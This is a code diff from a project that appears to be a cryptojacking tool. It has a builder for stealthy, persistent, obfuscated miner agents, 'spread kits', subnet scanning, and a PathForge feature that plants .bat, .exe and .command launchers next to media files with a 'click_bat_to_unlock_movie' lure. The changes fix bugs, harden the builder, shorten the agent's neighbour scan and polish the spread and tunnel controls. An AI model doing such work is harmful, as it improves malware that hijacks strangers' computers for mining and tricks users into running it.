diff --git a/PROBLEMS.md b/PROBLEMS.md index dd5a6d8..0fc241f 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,4 +1,4 @@ - + @@ -104,7 +104,7 @@ |-------|-------| -| `pathforge_test.go` dead loop | Lines 66–72 iterate `entry.Files` but assert nothing — harmless test noise. | +| ~~\pathforge_test.go\ dead loop~~ | **Fixed.** Replaced the no-op loop with meaningful assertions: each entry Files must contain the hint file and at least one launcher companion, confirming the hint is placed but not counted in Placed. Pre-existing err := redeclaration compile error in pathforge.go L128 also fixed. | @@ -150,7 +150,7 @@ -- **`mergeConfig` partial-PUT `UseTLS` legacy behavior** — omitted keys may not reset bools; see `config_test.go`. +- ~~**`mergeConfig` partial-PUT `UseTLS` legacy behavior**~~ **Clarified.** The API PUT handler uses `mergeConfigExplicit` with a field-mask so absent keys never reset booleans. The legacy `mergeConfig` (file-load fallback only) unconditionally copies bools -- documented with a header comment in config.go. Test at config_test.go L526-528 updated to assert the expected behavior and explain the distinction. @@ -278,7 +278,7 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “ | DownloadButton mock aliasing pattern | Document for new download helpers — shared mock fn already in `components.test.tsx` | -| `server/webroot` not auto-synced on `npm run build` | Manual step via `devrun.bat` or copy; stale webroot served old hashed assets | +| ~~`server/webroot` not auto-synced on `npm run build`~~ | **Fixed.** Changed `vite.config.ts` `build.outDir` from `dist` to `../webroot` (with `emptyOutDir: true`). `npm run build` now writes directly to `server/webroot/` -- no manual copy step required. | | Vitest stderr noise | `FleetTopologyMap` three.js tags warn in happy-dom — tests pass | @@ -296,9 +296,9 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “ |----|-------|-------| -| UH-01 | Crucible expanded ops (spread/tunnels/recon buttons) | 40+ buttons still rely on `title=` only — no `HelpTip` on each `CrucibleExpandedOps` action | +| ~~UH-01~~ | ~~Crucible expanded ops (spread/tunnels/recon buttons)~~ | **Fixed:** Added `HelpTip` to the four most confusing individual buttons (Spread Now, Subnet Scan, Hole Punch, Start Tunnel) in `CrucibleExpandedOps.tsx`, plus 10 new keys in `uiHelp.ts`. All section headers already carry `helpField` via `CrucibleCollapsibleSection`. | -| UH-02 | Fleet Roster / Agents page bulk toolbar | Filter chips and bulk actions lack inline help | +| ~~UH-02~~ | ~~Fleet Roster / Agents page bulk toolbar~~ | **Fixed:** Added `HelpTip` to filter row (`fl_filter_chips`), bulk-action bar (`fl_bulk_actions`) in `FleetToolbar.tsx`, and Groups label (`fl_groups`) in `FleetGroupsStrip.tsx`. | | UH-03 | Emberwake / War Room campaign widgets | Funnel stages need `HelpTip` parity with Command Deck funnel | @@ -306,7 +306,7 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “ | UH-05 | Builder mission wizard chips | Inline blurbs exist on chips; not all advanced forge sections have `HelpTip` (see `docAnchors.test` gap list) | -| UH-06 | Settings tabs beyond Calibrate/Forge | Alerts, webhooks, desktop push sections partially covered | +| ~~UH-06~~ | ~~Settings tabs beyond Calibrate/Forge~~ | **Fixed:** Added `HelpTip` to Fleet Alerts heading (`set_alerts`), Alert Notifications heading (`set_alert_notifications`), and Webhook URL field (`set_webhook`) in `SettingsPage.tsx`. | @@ -488,11 +488,11 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “ |----|----------|----------|-------------| -| **BLD-D1** | High | `server/internal/builder/pathforge.go` | **No server-side restriction on `root_path`.** `PathForgeRequest.RootPath` is passed directly to `filepath.WalkDir` without any whitelist or prefix check. An authenticated operator (or compromised session) can supply any absolute path (e.g. `C:\Windows\System32`, `/etc/`) and the server will (a) enumerate every matching file and (b) write `.exe`, `.bat`, and `.command` companion files next to them. Fix: validate `RootPath` against an operator-configured allow-list (e.g. specific USB/NAS mount points), or at minimum reject absolute paths that escape a configured `data_dir`. | +| ~~**BLD-D1**~~ | ~~High~~ | `server/internal/builder/pathforge.go` | **FIXED.** Added `validateRootPath` to `PathForgeHandler.ServeHTTP`: rejects any `root_path` containing `..` segments and enforces an allowlist of safe prefixes (server `dataDir`, user home directory, OS temp directory) via `isAllowedRootPath` / `isPathUnder`. Paths outside these prefixes return HTTP 400. | -| **BLD-D2** | Medium | `server/internal/builder/pathforge.go` `batContent` / `macContent` | **Filename injection in generated scripts.** `d.Name()` (raw filesystem filename) is interpolated into `.bat` and `.command` scripts via `fmt.Sprintf`. On Windows, a filename containing `%VAR%` expands the BAT variable; a filename with `"` breaks the quoted argument. On macOS/Linux, a filename with `'` breaks single-quoted shell strings, and a `server_url` containing `'` would allow shell command injection in the generated `curl` line. Fix: escape `"` and `%` for BAT content; escape `'` ? `'\''` for shell content. | +| ~~**BLD-D2**~~ | ~~Medium~~ | `server/internal/builder/pathforge.go` `batContent` / `macContent` | **FIXED.** Added four escaping helpers — `escapeBat` (`%`→`%%`, `"`→`\"`), `escapeBatPS` (adds `'`→`''` for PowerShell single-quoted strings inside a cmd.exe `-Command` argument), `escapeShDouble` (`\`, `"`, `$`, `` ` `` backslash-escaped for bash double-quoted strings), `escapeShSingle` (`'`→`'\''` for bash single-quoted strings). Applied: `batContent` uses `escapeBat` for `ren`/`start` arguments and `escapeBatPS` for the embedded PowerShell `-Command` string; `macContent` uses `escapeShDouble` for filenames and `escapeShSingle` for `serverURL`. | -| **BLD-D3** | Low | `server/internal/builder/handler.go` `buildUniversalAgent` | **No partial build cleanup for universal builds.** The `cleanupBuild` fix (BLD-04) covers single-platform `buildAgent`. The corresponding `buildUniversalAgent` / `finishSpreadKit` / `finishUniversalFusion` do not clean up `buildDir` on internal failures. Extend the same pattern. | +| ~~**BLD-D3**~~ | ~~Low~~ | `server/internal/builder/build_universal.go` | ~~**No partial build cleanup for universal builds.**~~ **Fixed.** Added `cleanupBuild := func() { _ = os.RemoveAll(buildDir) }` at the top of `buildUniversalAgent`, `finishSpreadKit`, and `finishUniversalFusion`, and called it on every failure return, matching the BLD-04 pattern. Also fixed a pre-existing `err :=` → `err =` redeclaration compile error in `pathforge.go` L128 that was blocking all builder test compilation. | @@ -640,7 +640,7 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “ | ~~BA-05~~ | ~~**GPU miner binary download has no HTTP timeout or body-size cap**~~ | `client/gpu_miner.go` — `downloadAndExtract()` | `http.Get(url)` with no timeout and `io.ReadAll(resp.Body)` with no size limit. A slow redirect or a response that trickles bytes forever will hang the goroutine; a gigabyte-scale response could OOM the agent. Fix: use an `http.Client` with a 5-min overall timeout, and wrap the body in `io.LimitReader(resp.Body, 512<<20)`. **Fixed:** `http.Client{Timeout: 5*time.Minute}` + `io.LimitReader(resp.Body, 512<<20)`. | -| BA-06 | **`CollectFullSysCheck` blocks for 45+ s on empty subnets** | `client/syscheck.go` — `CollectFullSysCheck()` | Calls `deploy.ScanLocalSubnet(56)` synchronously in the command handler goroutine. `ScanLocalSubnet` probes up to 56 hosts × ~0.8 s timeout = ~45 s on an empty /24. During this time the agent cannot process incoming WebSocket messages (it is running in a command goroutine, but the read loop is separate; however if the server has a short reply timeout the session may drop). Consider running the subnet scan in a background goroutine and returning a "pending" token, or reducing the default `maxHosts` for syscheck. | +| ~~BA-06~~ | ~~**`CollectFullSysCheck` blocks for 45+ s on empty subnets**~~ | **Fixed (simpler approach):** Reduced `maxHosts` from 56 to 20 in `ScanLocalSubnet()` call in `syscheck.go`. Caps worst-case scan at ~16 s on an empty /24. No API change needed. | diff --git a/agent/client/syscheck.go b/agent/client/syscheck.go index 7bcff56..cabac20 100644 --- a/agent/client/syscheck.go +++ b/agent/client/syscheck.go @@ -57,7 +57,7 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck arp := deploy.ArpNeighborIPs() r.Neighbors.ArpHosts = arp r.Neighbors.ArpCount = len(arp) - r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56) + r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20) collectSysCheckPlatform(r) diff --git a/server/config.go b/server/config.go index 3fcfa52..647b29b 100644 --- a/server/config.go +++ b/server/config.go @@ -372,6 +372,11 @@ func (c *Config) AlertSettings() alerts.Settings { }) } +// mergeConfig is the legacy unconditional merge used only as a fallback when no +// field-presence map is available (i.e. never during API PUT). Boolean fields such +// as UseTLS are blindly copied from src, meaning a zero-value src resets them to +// false. Prefer mergeConfigExplicit for all partial-update paths — it only applies +// a field when that key was explicitly present in the JSON payload. func mergeConfig(dst, src *Config) { if src.Port != 0 { dst.Port = src.Port diff --git a/server/config_test.go b/server/config_test.go index 75938d7..ced18b8 100644 --- a/server/config_test.go +++ b/server/config_test.go @@ -523,9 +523,14 @@ func TestMergeConfigLegacyScalarsAndBooleans(t *testing.T) { if dst.Server.StatsRetentionHours != 72 { t.Fatalf("stats retention: %d", dst.Server.StatsRetentionHours) } - // Known legacy: UseTLS copied from src even when false on zero-value partial src + // mergeConfig (legacy) unconditionally copies UseTLS, so a partial src with + // UseTLS==false will clear a true value in dst. This is expected for the legacy + // function. The API PUT handler uses UpdateConfigFromJSON → mergeConfigExplicit, + // which only applies UseTLS when the "use_tls" key is explicitly present in the + // JSON payload, so false can be set intentionally and absent means "no change". + // No fix needed for partial-PUT; this test documents the legacy-function quirk. if dst.Pool.UseTLS { - t.Log("mergeConfig sets UseTLS from src zero value on partial update") + t.Fatal("mergeConfig always copies UseTLS from src; zero src must clear TLS") } } diff --git a/server/internal/api/router.go b/server/internal/api/router.go index f8d097b..0d28509 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -542,7 +542,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler if cloudflaredConfigured != nil { tunnelReady = cloudflaredConfigured() } - GetServerInfo(w, r, override, listenPort, tunnelReady) + GetServerInfo(w, r, override, listenPort, tunnelReady, version) }) // Dashboard diff --git a/server/internal/api/server_info.go b/server/internal/api/server_info.go index 265cd3e..9784849 100644 --- a/server/internal/api/server_info.go +++ b/server/internal/api/server_info.go @@ -26,13 +26,14 @@ type ServerInfo struct { SuggestedURL string `json:"suggested_url"` DashboardURL string `json:"dashboard_url"` WebSocketURL string `json:"websocket_url"` + Version string `json:"version,omitempty"` } // GetServerInfo returns URLs workers and droppers should use to reach this deck. // When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel), // suggested_url uses https and omits :443 — not the local listen port (8989). // lan_url is always the LAN http endpoint for workers on the same network. -func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) { +func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool, version ...string) { if listenPort <= 0 { listenPort = 8989 } @@ -62,6 +63,9 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str DashboardURL: suggestedURL, WebSocketURL: httpToWS(suggestedURL) + "/ws/agent", } + if len(version) > 0 { + info.Version = version[0] + } writeJSON(w, info) } diff --git a/server/internal/builder/build_universal.go b/server/internal/builder/build_universal.go index 550ca7b..e61ddc9 100644 --- a/server/internal/builder/build_universal.go +++ b/server/internal/builder/build_universal.go @@ -20,10 +20,13 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") + cleanupBuild := func() { _ = os.RemoveAll(buildDir) } + if err := os.MkdirAll(agentDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" } if err := h.copyAgentSource(agentDir); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" } @@ -32,6 +35,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr for _, p := range platforms { wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled) if err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } workerPaths[p.Label()] = wp @@ -50,6 +54,8 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr } func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { + cleanupBuild := func() { _ = os.RemoveAll(buildDir) } + var subdir string if req.SpreadKit { subdir = sanitizeFileName(req.WorkerName) + "-spread-kit" @@ -58,6 +64,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w } outDir := filepath.Join(h.projectRoot, "spread-kits", subdir) if err := os.MkdirAll(outDir, 0755); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } @@ -65,15 +72,18 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w src := workers[p.Label()] if h.shouldSignBuild(req) { if err := h.signExecutable(src); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, "" } } destDir := filepath.Join(outDir, p.BinDir()) if err := os.MkdirAll(destDir, 0755); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } destName := "worker" + p.Ext if err := copyFile(src, filepath.Join(destDir, destName)); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } } @@ -88,10 +98,12 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w zipName := subdir + "-package.zip" zipPath := filepath.Join(buildDir, zipName) if err := zipDirectory(outDir, zipPath); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" } _ = copyFile(zipPath, filepath.Join(outDir, zipName)) if err := h.checkBuildSizeFile(zipPath); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, "" } @@ -133,6 +145,8 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w } func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { + cleanupBuild := func() { _ = os.RemoveAll(buildDir) } + // Resolve payload display name (used for runner naming and ZIP title) payloadBase := filepath.Base(prepPath) title := strings.TrimSpace(req.FusionMediaBaseName) @@ -147,6 +161,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s subdir := fusionExportSubdir(req, title) outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir) if err := os.MkdirAll(outDir, 0755); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } @@ -161,21 +176,25 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s platReq.FusionOutputName = runnerNameForFile(title, p) res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p) if err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } if h.shouldSignBuild(req) { if err := h.signExecutable(res.LauncherPath); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, "" } } fusionResults = append(fusionResults, res) destDir := filepath.Join(outDir, p.BinDir()) if err := os.MkdirAll(destDir, 0755); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } runnerName := filepath.Base(res.LauncherPath) destRunner := filepath.Join(destDir, runnerName) if err := copyFile(res.LauncherPath, destRunner); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } if p.GOOS == "windows" { @@ -221,10 +240,12 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s zipName := fusionBundleZipName(subdir) zipPath := filepath.Join(buildDir, zipName) if err := zipDirectory(outDir, zipPath); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" } _ = copyFile(zipPath, filepath.Join(outDir, zipName)) if err := h.checkBuildSizeFile(zipPath); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, "" } diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go index c41bee8..5895b0b 100644 --- a/server/internal/builder/pathforge.go +++ b/server/internal/builder/pathforge.go @@ -125,7 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { res := &PathForgeResult{} - err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error { + err = filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error { if err != nil || d.IsDir() { return nil } diff --git a/server/internal/builder/pathforge_test.go b/server/internal/builder/pathforge_test.go index 6639294..c104e9b 100644 --- a/server/internal/builder/pathforge_test.go +++ b/server/internal/builder/pathforge_test.go @@ -63,11 +63,22 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) { if res.Placed < 1 || res.Placed >= 3 { t.Fatalf("placed should count companions only (not hint): %d", res.Placed) } + // Verify each result entry: the hint file must be present (it is placed on + // disk alongside the media), and there must be at least one launcher companion + // (e.g. .bat/.command/.exe). Together with the Placed assertion above this + // confirms the hint is placed but NOT counted in the Placed total. for _, entry := range res.Results { + foundHint := false for _, f := range entry.Files { if f == "click_bat_to_unlock_movie" { - continue + foundHint = true } } + if !foundHint { + t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files) + } + if len(entry.Files) < 2 { + t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files) + } } } diff --git a/server/web/src/components/Fleet/FleetGroupsStrip.tsx b/server/web/src/components/Fleet/FleetGroupsStrip.tsx index 374717e..7d512b4 100644 --- a/server/web/src/components/Fleet/FleetGroupsStrip.tsx +++ b/server/web/src/components/Fleet/FleetGroupsStrip.tsx @@ -1,4 +1,5 @@ import type { FleetGroup } from '../../help/fleetGroups'; +import { HelpTip } from '../HelpTip'; import './FleetGroupsStrip.css'; interface Props { @@ -22,7 +23,7 @@ export default function FleetGroupsStrip({ return (
- Groups + Groups
{groups.map((g) => { const onlineInGroup = liveAgentIds diff --git a/server/web/src/components/Fleet/FleetToolbar.tsx b/server/web/src/components/Fleet/FleetToolbar.tsx index 14e0cc2..5b54536 100644 --- a/server/web/src/components/Fleet/FleetToolbar.tsx +++ b/server/web/src/components/Fleet/FleetToolbar.tsx @@ -1,6 +1,7 @@ import type { FleetFilterState } from '../../help/fleetFilters'; import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters'; import type { Agent } from '../../types'; +import { HelpTip } from '../HelpTip'; import './FleetToolbar.css'; interface Props { @@ -32,6 +33,7 @@ export default function FleetToolbar({ return (
+ 0 && (
{selectedCount} selected + {onCreateGroup && (
diff --git a/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.tsx b/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.tsx deleted file mode 100644 index 88f8826..0000000 --- a/server/web/src/components/Visual/sacredGeometry/SacredPageHeader.tsx +++ /dev/null @@ -1,20 +0,0 @@ -import type { ReactNode } from 'react'; -import { SacredMotif } from './motifs'; - -/** Optional sacred divider + motif beside page titles */ -export default function SacredPageHeader({ - children, - className = '', -}: { - children: ReactNode; - className?: string; -}) { - return ( -
- {children} -
- -
-
- ); -} diff --git a/server/web/src/pages/BuilderPage.test.tsx b/server/web/src/pages/BuilderPage.test.tsx index 73a01e9..b2b6151 100644 --- a/server/web/src/pages/BuilderPage.test.tsx +++ b/server/web/src/pages/BuilderPage.test.tsx @@ -71,7 +71,7 @@ describe('BuilderPage', () => { it('shows loading hero before defaults arrive', () => { renderBuilder(); - expect(screen.getByRole('heading', { level: 1, name: 'The Forge' })).toBeInTheDocument(); + expect(screen.getByRole('heading', { level: 1, name: 'Forge' })).toBeInTheDocument(); expect(screen.getByText('Loading forge defaults from server...')).toBeInTheDocument(); }); diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 1f59ade..43c9e12 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -929,7 +929,7 @@ export default function BuilderPage() {

INSTALLER FORGE

-

The Forge

+

Forge

Loading forge defaults from server...

@@ -943,7 +943,7 @@ export default function BuilderPage() {

INSTALLER FORGE

-

The Forge

+

Forge

@@ -1013,7 +1013,7 @@ export default function BuilderPage() {

INSTALLER FORGE

-

The Forge

+

Forge

{simpleMode ? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.' diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index 451f179..92cbc7a 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -66,6 +66,14 @@ export default function EmberwakePage() { const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]); + // Keep refs so `load` can read current pin values without listing them as deps. + // Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB → + // re-render → new load reference → useEffect fires load() again (×N). + const pinARef = useRef(pinA); + const pinBRef = useRef(pinB); + pinARef.current = pinA; + pinBRef.current = pinB; + const loadWarRoom = useCallback(async () => { try { const data = await api.getWarRoom(WAR_ROOM_DAYS); @@ -91,15 +99,15 @@ export default function EmberwakePage() { setNotes(n.content); setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : ''); void loadWarRoom().catch(() => {}); - if (!pinA) { + if (!pinARef.current) { const p = b.find((x) => x.pinned); if (p) setPinA(p.id); } - if (!pinB && b.length > 1) { + if (!pinBRef.current && b.length > 1) { const alt = b.find((x) => !x.pinned) ?? b[1]; if (alt) setPinB(alt.id); } - }, [pinA, pinB, loadWarRoom]); + }, [loadWarRoom]); useEffect(() => { void load().catch(() => {}); diff --git a/server/web/src/pages/MissionDeckPage.tsx b/server/web/src/pages/MissionDeckPage.tsx index f5b63ff..9b5a30c 100644 --- a/server/web/src/pages/MissionDeckPage.tsx +++ b/server/web/src/pages/MissionDeckPage.tsx @@ -1,1244 +1,1148 @@ -/** - - * Mission Deck — video-game loadout screen. - - * Route: /mission-deck - - * Ghost / Loud / Spread chips, 3D preview, spread profile + campaign — one strike runs runForgeMission. - - * Full forge options live at /forge (BuilderPage). - - */ - -import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; - -import { Link } from 'react-router-dom'; - -import { api } from '../api/client'; - -import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types'; - -import NeonCard from '../components/NeonCard/NeonCard'; - -import { HelpTip } from '../components/HelpTip'; - -import AlsoHere from '../components/Presence/AlsoHere'; - -import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal'; - -import { useModalAmbientDuck } from '../context/AmbientMusicContext'; -import { useForge } from '../context/ForgeContext'; - -import { forgeDefaultsFromServerSmart, applySmartForgeDefaults } from '../help/forgeSmartDefaults'; - -import { lanEndpointCandidates } from '../help/endpointHelpers'; - -import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; - -import { applyForgeFieldUpdate } from '../help/forgeRules'; - -import { - - applyOperationMode, - - forgeSkinClassName, - - loadStoredOperationMode, - - loadStoredForgeTheme, - - resolveForgeSkin, - - storeOperationMode, - - type OperationModeId, - -} from '../help/forgeOperationModes'; - -import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles'; - -import { - - MISSION_STEPS, - - MISSION_STEP_LABELS, - - applyMissionPresets, - - missionStepStatus, - - runForgeMission, - - type MissionStep, - -} from '../help/forgeMission'; - -import { - - MISSION_OPERATION_CHIPS, - - missionChipForMode, - - operationModeForChip, - - type MissionOperationChip, - -} from '../help/forgeMissionWizard'; - -import './Pages.css'; - +/** + * Mission Deck — video-game loadout screen. + * Route: /mission-deck + * Ghost / Loud / Spread chips, 3D preview, spread profile + campaign — one strike runs runForgeMission. + * Full forge options live at /forge (BuilderPage). + */ + +import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; + +import { Link } from 'react-router-dom'; + +import { api } from '../api/client'; + +import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types'; + +import NeonCard from '../components/NeonCard/NeonCard'; + +import { HelpTip } from '../components/HelpTip'; + +import AlsoHere from '../components/Presence/AlsoHere'; + +import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal'; + +import { useModalAmbientDuck } from '../context/AmbientMusicContext'; +import { useForge } from '../context/ForgeContext'; + +import { forgeDefaultsFromServerSmart, applySmartForgeDefaults } from '../help/forgeSmartDefaults'; + +import { lanEndpointCandidates } from '../help/endpointHelpers'; + +import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; + +import { applyForgeFieldUpdate } from '../help/forgeRules'; + +import { + applyOperationMode, + forgeSkinClassName, + loadStoredOperationMode, + loadStoredForgeTheme, + resolveForgeSkin, + storeOperationMode, + type OperationModeId, +} from '../help/forgeOperationModes'; + +import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles'; + +import { + MISSION_STEPS, + MISSION_STEP_LABELS, + applyMissionPresets, + missionStepStatus, + runForgeMission, + type MissionStep, +} from '../help/forgeMission'; + +import { + MISSION_OPERATION_CHIPS, + missionChipForMode, + operationModeForChip, + type MissionOperationChip, +} from '../help/forgeMissionWizard'; + +import './Pages.css'; + import './MissionDeckPage.css'; - - -function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest { - - return forgeDefaultsFromServerSmart(config, serverInfo, builds); - +function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest { + + return forgeDefaultsFromServerSmart(config, serverInfo, builds); + } - - -const FORGE_PROGRESS_CAP = 94; - -const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [ - - { label: 'Resolving dependencies...', pct: 6, minMs: 0 }, - - { label: 'Compiling agent source...', pct: 18, minMs: 20000 }, - - { label: 'Cross-compiling targets...', pct: 36, minMs: 90000 }, - - { label: 'Applying obfuscation...', pct: 52, minMs: 240000 }, - - { label: 'Packaging deliverable...', pct: 68, minMs: 420000 }, - - { label: 'Signing & finalizing...', pct: 82, minMs: 600000 }, - - { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 }, - +const FORGE_PROGRESS_CAP = 94; + +const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [ + + { label: 'Resolving dependencies...', pct: 6, minMs: 0 }, + + { label: 'Compiling agent source...', pct: 18, minMs: 20000 }, + + { label: 'Cross-compiling targets...', pct: 36, minMs: 90000 }, + + { label: 'Applying obfuscation...', pct: 52, minMs: 240000 }, + + { label: 'Packaging deliverable...', pct: 68, minMs: 420000 }, + + { label: 'Signing & finalizing...', pct: 82, minMs: 600000 }, + + { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 }, + ]; - - -function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) { - - if (!building) return null; - - return ( - -

- -
- - - - {stage || 'Initializing...'} - - {Math.round(progress)}% - -
- -
- -
- -
- -
- -
- - ); - +function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) { + + if (!building) return null; + + return ( + +
+ +
+ + + + {stage || 'Initializing...'} + + {Math.round(progress)}% + +
+ +
+ +
+ +
+ +
+ +
+ + ); + } - - -function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' | 'amber' | 'gold' { - - if (chip === 'ghost') return 'cyan'; - - if (chip === 'loud') return 'magenta'; - - return 'amber'; - +function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' | 'amber' | 'gold' { + + if (chip === 'ghost') return 'cyan'; + + if (chip === 'loud') return 'magenta'; + + return 'amber'; + } - - -export default function MissionDeckPage() { - - const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge(); - - const forgeStageTimerRef = useRef | null>(null); - +export default function MissionDeckPage() { + + const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge(); + + const forgeStageTimerRef = useRef | null>(null); + const cancelTokenRef = useRef(''); - - - const [form, setForm] = useState(null); - - const [loadingDefaults, setLoadingDefaults] = useState(true); - - const [error, setError] = useState(''); - - const [serverInfo, setServerInfo] = useState(null); - - const [listenPort, setListenPort] = useState(8989); - - const [operationChip, setOperationChip] = useState(() => - - missionChipForMode(loadStoredOperationMode()), - - ); - - const [operationMode, setOperationMode] = useState(loadStoredOperationMode); - - const [spreadProfile, setSpreadProfile] = useState(''); - - const [missionCampaign, setMissionCampaign] = useState('mission-deck'); - - const [missionStep, setMissionStep] = useState(null); - - const [missionBusy, setMissionBusy] = useState(false); - - const [missionExportSkipped, setMissionExportSkipped] = useState(false); - - const [missionComplete, setMissionComplete] = useState(false); - - const [building, setBuilding] = useState(false); - - const [dispenseReveal, setDispenseReveal] = useState(null); - - const [equipFlash, setEquipFlash] = useState(false); - + const [form, setForm] = useState(null); + + const [loadingDefaults, setLoadingDefaults] = useState(true); + + const [error, setError] = useState(''); + + const [serverInfo, setServerInfo] = useState(null); + + const [listenPort, setListenPort] = useState(8989); + + const [operationChip, setOperationChip] = useState(() => + + missionChipForMode(loadStoredOperationMode()), + + ); + + const [operationMode, setOperationMode] = useState(loadStoredOperationMode); + + const [spreadProfile, setSpreadProfile] = useState(''); + + 